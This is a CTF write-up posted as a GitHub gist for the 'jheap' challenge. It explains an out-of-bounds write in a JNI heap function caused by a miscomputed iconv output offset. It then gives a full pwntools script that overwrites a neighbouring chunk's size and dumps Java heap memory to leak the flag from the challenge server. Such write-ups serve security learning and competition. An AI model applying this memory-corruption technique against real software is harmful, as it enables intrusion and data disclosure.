Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active August 11, 2022 08:35
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save farazsth98/24b7f8c1b23cdfb6da17dff804000dc3 to your computer and use it in GitHub Desktop.
Save farazsth98/24b7f8c1b23cdfb6da17dff804000dc3 to your computer and use it in GitHub Desktop.

I spent around 3 hrs solving this. I wish I had more time to spend on this CTF because the challenges looked really good!

Challenge

Basically just a Java Heap pwn challenge. You can create and edit chunks, but its done through a JNI function written in C, which means memory corruption is a possibility.

Bug

In src/heap.c, when from_utf is called, the outbuf argument for iconv is set to data + offset*2. offset*2 can overflow past data easily which provides an OOB write on the java heap.

Exploit

Through trial and error I found that if you put the flag into the very last data chunk, then the data chunk's buffer is a few hex thousand bytes before the flag's contents. My idea then was to use the oob write from the second last data chunk to overwrite the last data chunk's size to a large number, and then view the last data chunk to hopefully get the flag.

#!/usr/bin/env python3

from pwn import *

elf = ELF("./deploy/bin/java")
#p = process(["./deploy/bin/java", "-Xmx200m", "-XX:+UseG1GC", "-Xms200m", "-m", "jheap/com.thekidofarcrania.heap.JHeap", "-XX:+PrintJNIGCStalls", "-XX:+PrintGCDetails"])
p = remote("jheap.chal.perfect.blue", 1)

def edit(idx, offset, content):
    p.sendlineafter("> ", "0")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Offset: ", str(offset))
    p.sendlineafter("Content: ", content)

def leak(idx):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Index: ", str(idx))

def view(idx):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Index: ", str(idx))

# Chunks are initialized full of null bytes. You can view a chunk and count the
# number of bytes returned to get the size of the chunk
def get_size(idx):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Index: ", str(idx))

    p.recvuntil(" = ")
    data = p.recvuntil("*")[:-1]

    return len(data)-2 # account for newline

# Control chunk 47's len through this, set it to 0x40000
# I found the +11 offset through trial and error and just checking GDB
# I found that using magic values ("QWERASDFZXCV" is what i used) combined
# with search-pattern in gdb gef worked really well for me to find my chunk
# The offset doesn't work 100% of the time but it works most of the time
edit(46, get_size(46)//2+11, "\u0000\u0004" + "\u1337"*6)

# Put the flag on the heap way past chunk 47
leak(47)

#gdb.attach(p)

# Leak 0x40000 bytes, hopefully the flag will be inside
view(47)

# Find the flag
flag = p.recvuntil(">>> JHeap")
idx = flag.find(b"pbctf{")

# Print dat shit
if idx != -1:
    print(flag[idx:idx+80])

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment